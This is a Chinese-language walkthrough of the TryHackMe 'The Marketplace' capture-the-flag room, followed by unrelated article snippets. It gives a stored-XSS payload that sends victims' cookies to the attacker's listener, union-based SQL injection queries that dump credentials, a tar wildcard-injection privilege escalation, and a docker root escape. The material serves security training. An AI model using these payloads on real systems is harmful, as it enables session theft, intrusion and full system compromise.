【THM】The Marketplace练习

news/2024/12/21 19:47:30/文章来源:https://www.cnblogs.com/handsomexuejian/p/18448863

【THM】The Marketplace练习

与本文相关的TryHackMe实验房间链接:TryHackMe | The Marketplace

简介:你能接管marketplace的基础设施吗?

The Marketplace的系统管理员Michael允许您访问他的一个内部服务器,因此您可以渗透他和他的团队正在开发的The Marketplace平台。他说,他和他的团队还需要解决一些bug。

image-20241005154844263

第一题:flag 1是什么?

第一步

端口扫描

首先使用nmap对端口进行扫描

nmap -Pn -sV -T4 10.10.42.48

image-20241005155054731

可以发现目标开放了3个端口:22/tcp ssh服务、80/tcp http服务、32768/tcp http服务

第二步

访问网站

我们先进入网站看看界面

image-20241005155216581

可以发现这个超市就只卖仙人掌和笔记本电脑

我们可以做的操作有登录和注册,先注册一个账号看看:

image-20241005155915613

注册登录后多出两个功能点:上架商品和消息,并且在商品页面中可以联系卖家和举报产品

我们尝试上架一个商品,发现存在存储型XSS漏洞:

image-20241005161245360image-20241005161312011

尝试举报产品会收到系统的消息

image-20241005160604790

第三步

信息收集

网页源码中没有藏什么东西

我们进行目录扫描:

gobuster dir -u http://10.10.42.48 -w Filenames_or_Directories_All.txt

image-20241005160628997

我们得到一个很重要的路径:/admin(robots.txt中写的路径也是如此)

管理员的页面禁止我们访问:

image-20241005160722673

第四步

尝试越权

我们先抓个包观察一下我们的请求:

image-20241005161431672

可以发现我们的Cookie中含有token识别我们的身份,我们尝试解码:

image-20241005161626726

可以发现有一个admin的参数,我们尝试修改为true进入/admin,但是失败了

第五步

利用XSS漏洞进行钓鱼

这里有一个很骚的思路,我们上传商品存在存储型XSS漏洞,那么我们可以在我们的商品页面作为钓鱼页面,举报自己的商品诱导管理员审核,然后得到管理员的Cookie,提取他的Token

首先我们建立一个web服务器进行监听:

python -m http.server

然后构造XSS钓鱼页面,当有人访问的时候获取他的cookie

<img src=x onerror=this.src="http://10.10.22.44:8000/?c="+document.cookie>

<img> 用于加载图像。

src=x 设置一个无效的图像源,通常会导致加载失败。

onerror 当图像加载失败时触发的事件。

this.src 在图像加载失败时,将图像的 src 属性设置为一个 URL,即为我们构造的一个新的URL将当前页面的 cookies 作为查询参数添加到该 URL 中

document.cookie 获取当前页面的 cookies

image-20241005163556416

image-20241005163706006

可以发现正在查看这个页面的自己的cookie不断回显出来,我们现在举报商品

image-20241005163912856

发现有几条不一样的,我们提取Token分析:

image-20241005163947267

有了admin的Token,我们现在换上:

image-20241005164039186

成功进入admin后台,得到了flag:

image-20241005164137576

第二题:flag 2是什么?(User.txt)

第一步

观察功能点

成为后台管理员,我们能做的操作有:查看用户详细信息、删除用户

image-20241005164420728

我们可以发现我们查看用户信息时是直接GET请求数字得到的信息:

sqlmap -u "http://10.10.42.48/admin?user=1" --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE3MjgxMTgxNzB9.H8NLhz-z1p3WvuMLZiNWphI9tZvibVh1mnAJScEWFlc"

别用SQLMAP!!!!直接给你cookie的token整报废又得重新拿token

第二步

SQL注入

我们尝试进行注入:

http://10.10.42.48/admin?user=1 order by 3 --+

正常回显

http://10.10.42.48/admin?user=1 order by 5 --+

image-20241005165812419

报错,因此可以判断网站查询的字段数为4

http://10.10.42.48/admin?user=1 and 1=2 union select 1,2,3,4--+

image-20241005165930923

发现1,2的位置可以回显

http://10.10.42.48/admin?user=1 and 1=2 union select database(),2,3,4--+

image-20241005170107248

http://10.10.42.48/admin?user=1 and 1=2 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='marketplace'--+

image-20241005170309633

http://10.10.42.48/admin?user=1 and 1=2 union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema='marketplace' and table_name='messages'--+

image-20241005170416962

http://10.10.42.48/admin?user=1 and 1=2 union select concat_ws(',',id,is_read,message_content,user_from,user_to),2,3,4 from marketplace.messages limit 0,1--+

image-20241005170716857

我们发现了关键信息,SSH连接的密码!

第三步

使用ssh连接

我们可以发现这是user1发送给user3的消息,我们所以我们可以尝试使用jake作为用户名进行连接:

ssh jake@10.10.42.48

image-20241005171412751

image-20241005180716117

第三题:flag 3是什么?(Root.txt)

第一步

查看我们的权限

sudo -l

image-20241005171539596

我们可以发现我们可以不使用密码以michael的身份运行/opt/backups/backup.sh

我们看看脚本中的命令

cat /opt/backups/backup.sh

image-20241005171654342

这是一个压缩备份当前目录下的所有文件的脚本

tar cf /opt/backups/backup.tar *

第二步

提升我们的权限

我们在GTFOBins中搜索发现:

image-20241005172656893

我们使用a方式,我们分析其原理:

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

/dev/null 特殊的路径,写入该文件的数据都会被丢弃,但脚本中已经定义了路径所以我们不用管

--checkpoint=1 在归档过程中每处理一个文件时,生成一个检查点。这个选项通常用于长时间运行的 tar 操作。

--checkpoint-action=exec=/bin/sh 在每个检查点触发时执行指定的命令。这里指定的命令是 /bin/sh,即启动一个新的 shell。

只要能够让--checkpoint=1--checkpoint-action=exec=sh运行起来就行了,那么我们只用创建两个名为--checkpoint=1--checkpoint-action=exec=sh的文件就行了

touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh"
sudo -u michael /opt/backups/backup.sh

image-20241005173807393

我们成为了michael!

第三步

查看我们的权限

find / -type f -perm -04000 -ls 2>/dev/null

image-20241005173945447

我们在GTFOBins中搜索没有发现,我们看看用户组

id

image-20241005180221024

可以发现michael是docker用户

第四步

提升我们的权限

我们可以在GTFOBins中发现docker的提权方法:

image-20241005180040163

我们使用命令:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

image-20241005180546023

直接看root文件夹中的flag3

image-20241005180627292

image-20241005180723259

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/808930.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Windows计划任务出现0x1错误结果

Windows计划任务出现0x1错误结果现象 解决方法 结果 现象 参考不少的文章,基本上都是说因为权限的问题,但试了N次都不行,仍然报0x1的错误结果,亲测解决方法说明如下; 1.脚本本身没问题,手动本地可以执行; 2.系统版本 Windows 10 专业工作站版 版本号 21H2 解决方法 在设…

面相快速入门教程2转化智慧

2 转化智慧 你的脸是遗传、环境和生活经历的产物。它展现了你的身份、经历和未来;它揭示了你独特的潜能,以及你需要什么才能感到幸福。你特征中的信息可以成为帮助你创造真正有意义和充实生活的绝佳资源。你所要做的就是照镜子。 事实上,你不需要知道什么特别的事情,就能从…

P10678 『STA - R6』月 题解

Solution 看了别的大佬的题解,感觉都是数学证明然后用树和图做的,看不懂啊。。。萌新瑟瑟发抖 用 vector 模拟树,然后贪心摸索做出来了。注意到要求最深叶子结点和最浅叶子结点的距离最短时的情况,那么此时根节点应该是树中度数最大的点,把树尽可能的拓宽,深度换宽度。 那…

学期(如2024-2025-1) 20241304 《计算机基础与程序设计》第2周学习总结

学期(如2024-2025-1)20241304 《计算机基础与程序设计》第2周学习总结 作业信息这个作业属于哪个课程 <班级的链接>(2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 <作业要求的链接>(如2024-2025-1计算机基础与程序设计第二周作业)这个作业的目标 <…

Cisco Firepower 1000 Series FTD Software 7.6.0 ASA Software 9.22.1

Cisco Firepower 1000 Series FTD Software 7.6.0 & ASA Software 9.22.1Cisco Firepower 1000 Series FTD Software 7.6.0 & ASA Software 9.22.1 Firepower Threat Defense (FTD) Software - 思科防火墙系统软件 请访问原文链接:https://sysin.org/blog/cisco-firep…

从零开始学机器学习——网络应用

首先给大家介绍一个很好用的学习地址:https://cloudstudio.net/columns 今天,我们的主要任务是按照既定的流程再次运行模型,并将其成功加载到 Web 应用程序中,以便通过 Web 界面进行调用。最终生成的模型将能够基于 UFO 目击事件的数据和经纬度信息,推断出事件发生的城市地…

Cisco Firepower 4100 Series FTD Software 7.6.0 ASA Software 9.22.1

Cisco Firepower 4100 Series FTD Software 7.6.0 & ASA Software 9.22.1Cisco Firepower 4100 Series FTD Software 7.6.0 & ASA Software 9.22.1 Firepower Threat Defense (FTD) Software - 思科防火墙系统软件 请访问原文链接:https://sysin.org/blog/cisco-firep…

Cisco Firepower 9300 Series FTD Software 7.6.0 ASA Software 9.22.1

Cisco Firepower 9300 Series FTD Software 7.6.0 & ASA Software 9.22.1Cisco Firepower 9300 Series FTD Software 7.6.0 & ASA Software 9.22.1 Firepower Threat Defense (FTD) Software - 思科防火墙系统软件 请访问原文链接:https://sysin.org/blog/cisco-firep…

读数据湖仓08数据架构的演化

读数据湖仓08数据架构的演化1. 数据目录 1.1. 需要将分析基础设施放置在数据目录(Data Catalogue)的结构中1.1.1. 元数据1.1.2. 数据模型1.1.3. 本体1.1.4. 分类标准1.2. 数据目录类似于图书馆的图书检索目录1.2.1. 先通过图书馆的图书检索目录进行查找,以便快速找到所需的图书…

VUE2常见问题以及解决方案汇总,vue+element ui 问题以及解决方案汇总(不断更新中)

解决vue项目中 el-table 的 @row-click 事件与行内点击事件冲突,点击事件不生效(表格行点击事件和行内元素点击事件冲突)需要阻止事件冒泡 问题描述 1.点击列的编辑按钮,会触发按钮本身事件,同时会触发行点击事件 2.点击列的元素,会触发本身事件,同时会触发行点击事件 需…

1分钟了解什么是docker和docker-compose?前后端必知必会技能GET啦

@目录前情提要Docker定义:主要功能:命令示例:其他Docker Compose定义:我为什么使用它?主要功能:命令示例:主要区别配置文件:命令行操作:依赖关系管理:实际应用场景单个服务:多服务应用:总结结语欢迎路过的小哥哥小姐姐们提出更好的意见哇~~ 前情提要 本文非常简短,如果需要详…

VUE2常见问题以及解决方案汇总(不断更新中)

vue子组件传递数据给父组件 子组件可以使用 $emit 向父组件传递数据。父组件监听这个事件,并在事件触发时接收数据。 上代码 子组件 (Child.vue) <template><button @click="sendDataToParent">Send Data to Parent</button> </template>&l…